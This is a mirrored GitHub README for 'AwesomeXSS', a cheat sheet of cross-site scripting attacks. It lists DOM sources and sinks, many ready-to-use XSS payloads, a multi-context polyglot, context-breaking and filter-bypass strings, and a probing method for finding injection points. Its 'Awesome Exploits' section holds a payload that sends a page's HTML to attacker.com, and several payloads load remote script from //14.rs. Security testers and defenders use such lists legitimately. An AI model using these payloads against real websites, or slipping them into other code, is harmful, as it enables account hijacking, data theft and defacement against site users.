July 11, 2019

1290 words 7 mins read

s0md3v/AwesomeXSS

s0md3v/AwesomeXSS

Awesome XSS stuff

repo name s0md3v/AwesomeXSS
repo link https://github.com/s0md3v/AwesomeXSS
homepage
language JavaScript
size (curr.) 3642 kB
stars (curr.) 2844
created 2018-03-11
license MIT License

AwesomeXSS

This repository is a collection of Awesome XSS resources. Contributions are welcome and should be submitted via an issue.

Donations

You can encourage me to create more such amazing programs buy donating a few bucks.

Do you want to sponsor the project and get mentioned here? Email me s0md3v[at]gmail[dot]com

Awesome contents

Awesome Challenges

Awesome Reads & Presentations

Awesome Tools

Awesome XSS Mind Maps

A beautiful XSS mind map by Jack Masa, here

Awesome DOM XSS

  • Does your input go into a sink? Vulnerable
  • It doesn’t? Not vulnerable

Source: An input that could be controlled by an external (untrusted) source.

document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: A potentially dangerous method that could lead to a vulnerability. In this case a DOM Based XSS.

eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

This comprehensive list of sinks and source is taken from domxsswiki.

Awesome Payloads

<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--`<img/src=` onerror=confirm``> --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<iframe/src \/\/onload = prompt(1)
<x oncut=alert()>x
<svg onload=write()>

Awesome Polyglots

Here’s an XSS polyglot that I made which can break out of 20+ contexts:

%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Explanation of how it works, here

Awesome Tags & Event Handlers

Some less detected event handlers

ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Some HTML Tags that you will be using

img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Awesome Context Breaking

HTML Context

Case: <tag>You searched for $input. </tag>

<svg onload=alert()>
</tag><svg onload=alert()>

Attribute Context

Case: <tag attribute="$input">

"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript Context

Case: <script> var new something = '$input'; </script>

'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Awesome Confirm Variants

Yep, confirm because alert is too mainstream.

confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Awesome Exploits

Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
Source Code Stealer
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

A good compilation of advanced XSS exploits can be found here

Awesome Probing

If nothing of this works, take a look at Awesome Bypassing section

First of all, enter a non-malicious string like d3v and look at the source code to get an idea about number and contexts of reflections. Now for attribute context, check if double quotes (") are being filtered by entering x"d3v. If it gets altered to x&quot;d3v, chances are that output is getting properly escaped. If this happens, try doing the same for single quotes (') by entering x'd3v, if it gets altered to x&apos;, you are doomed. The only thing you can try is encoding. If the quotes are not being filtered, you can simply try payloads from Awesome Context Breaking section. For javascript context, check which quotes are being used for example if they are doing

variable = 'value' or variable = "value"

Now lets say single quotes (') are in use, in that case enter x'd3v. If it gets altered to x\\'d3v, try escaping the backslash () by adding a backslash to your probe i.e. x\\'d3v. If it works use the following payload:

\'-alert()//

But if it gets altered to x\\\\'d3v, the only thing you can try is closing the script tag itself by using

</script><svg onload=alert()>

For simple HTML context, the probe is x<d3v. If it gets altered to x&gt;d3v, proper sanitization is in place. If it gets reflected as it as, you can enter a dummy tag to check for potential filters. The dummy tag I like to use is x<xxx>. If it gets stripped or altered in any way, it means the filter is looking for a pair of < and >. It can simply bypassed using

<svg onload=alert()//

or this (it will not work in all cases)

<svg onload=alert()

If the your dummy tags lands in the source code as it is, go for any of these payloads

<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

Awesome Bypassing

Note: None of these payloads use single (') or double quotes (").

  • Without event handlers
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
  • Without space
<svg/onload=confirm()>
<iframe/src=javascript:alert(1)>
  • Without slash (/)
<svg onload=confirm()>
<img src=x onerror=confirm()>
  • Without equal sign (=)
<script>confirm()</script>
  • Without closing angular bracket (>)
<svg onload=confirm()//
  • Without alert, confirm, prompt
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • Without a Valid HTML tag
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
  • Bypass tag blacklisting
</ScRipT>
</script
</script/>
</script x>

Awesome Encoding

HTML Char Numeric Description Hex CSS (ISO) JS (Octal) URL
&quot; " &#34; quotation mark u+0022 \0022 \42 %22
&num; # &#35; number sign u+0023 \0023 \43 %23
&dollar; $ &#36; dollar sign u+0024 \0024 \44 %24
&percnt; % &#37; percent sign u+0025 \0025 \45 %25
&amp; `& &#38; ampersand u+0026 \0026 \46 %26
&apos; ' &#39; apostrophe u+0027 \0027 \47 %27
&lpar; ( &#40; left parenthesis u+0028 \0028 \50 %28
&rpar; ) &#41; right parenthesis u+0029 \0029 \51 %29
&ast; * &#42; asterisk u+002A \002a \52 %2A
&plus; + &#43; plus sign u+002B \002b \53 %2B
&comma; , &#44; comma u+002C \002c \54 %2C
&minus; - &#45; hyphen-minus u+002D \002d \55 %2D
&period; . &#46; full stop; period u+002E \002e \56 %2E
&sol; / &#47; solidus; slash u+002F \002f \57 %2F
&colon; : &#58; colon u+003A \003a \72 %3A
&semi; ;` &#59; semicolon u+003B \003b \73 %3B
&lt; < &#60; less-than u+003C \003c \74 %3C
&equals; = &#61; equals u+003D \003d \75 %3D
&gt; > &#62; greater-than sign u+003E \003e \76 %3E
&quest; ? &#63; question mark u+003F \003f \77 %3F
&commat; @ &#64; at sign; commercial at u+0040 \0040 \100 %40
&lsqb; [ &#91; left square bracket u+005B \005b \133 %5B
&bsol; / &#92; backslash u+005C \005c \134 %5C
&rsqb; ] &#93; right square bracket u+005D \005d \135 %5D
&Hat; ^ &#94; circumflex accent u+005E \005e \136 %5E
&lowbar; _ &#95; low line u+005F \005f \137 %5F
&grave; ` &#96; grave accent u+0060 \0060 \u0060 %60
&lcub; { &#123; left curly bracket u+007b \007b \173 %7b
&verbar; | &#124; vertical bar u+007c \007c \174 %7c
&rcub; } &#125; right curly bracket u+007d \007d \175 %7d

Awesome Tips & Tricks

  • http(s):// can be shortened to // or /\\ or \\.
  • document.cookie can be shortened to cookie. It applies to other DOM objects as well.
  • alert and other pop-up functions don’t need a value, so stop doing alert('XSS') and start doing alert()
  • You can use // to close a tag instead of >.
  • I have found that confirm is the least detected pop-up function so stop using alert.
  • Quotes around attribute value aren’t necessary as long as it doesn’t contain spaces. You can use <script src=//14.rs> instead of <script src="//14.rs">
  • The shortest HTML context XSS payload is <script src=//14.rs> (19 chars)

Awesome Credits

All the payloads are crafted by me unless specified.

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